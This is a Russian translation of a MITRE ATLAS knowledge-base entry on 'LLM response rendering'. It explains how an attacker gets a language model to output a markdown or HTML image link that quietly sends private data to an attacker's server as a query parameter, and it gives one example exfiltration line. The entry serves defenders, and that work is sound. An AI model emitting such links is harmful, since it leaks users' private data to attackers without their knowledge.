Рендеринг ответа LLM

Оригинал: LLM Response Rendering

Злоумышленник может добиться того, чтобы большая языковая модель (LLM) вернула приватную информацию, скрытую от пользователя при рендеринге ответа клиентом пользователя. Затем эта приватная информация эксфильтруется. Это может происходить в виде отрендеренных изображений, которые автоматически отправляют запрос на сервер, контролируемый злоумышленником.

Злоумышленник заставляет ИИ показать пользователю изображение, которое клиентское приложение пользователя рендерит без каких-либо действий со стороны пользователя. Изображение размещается на сайте, контролируемом злоумышленником, что позволяет ему эксфильтровать данные через параметры запроса к изображению. Варианты включают HTML-теги и markdown.

Например, LLM может сгенерировать следующий markdown:

![ATLAS](https://atlas.mitre.org/image.png?secrets="private data")

Клиент отрендерит его как:

<img src="https://atlas.mitre.org/image.png?secrets="private data">

Когда запрос поступает на сервер злоумышленника, где размещено запрошенное изображение, злоумышленник получает содержимое параметра запроса secrets.

Тактики

Примеры процедур из кейсов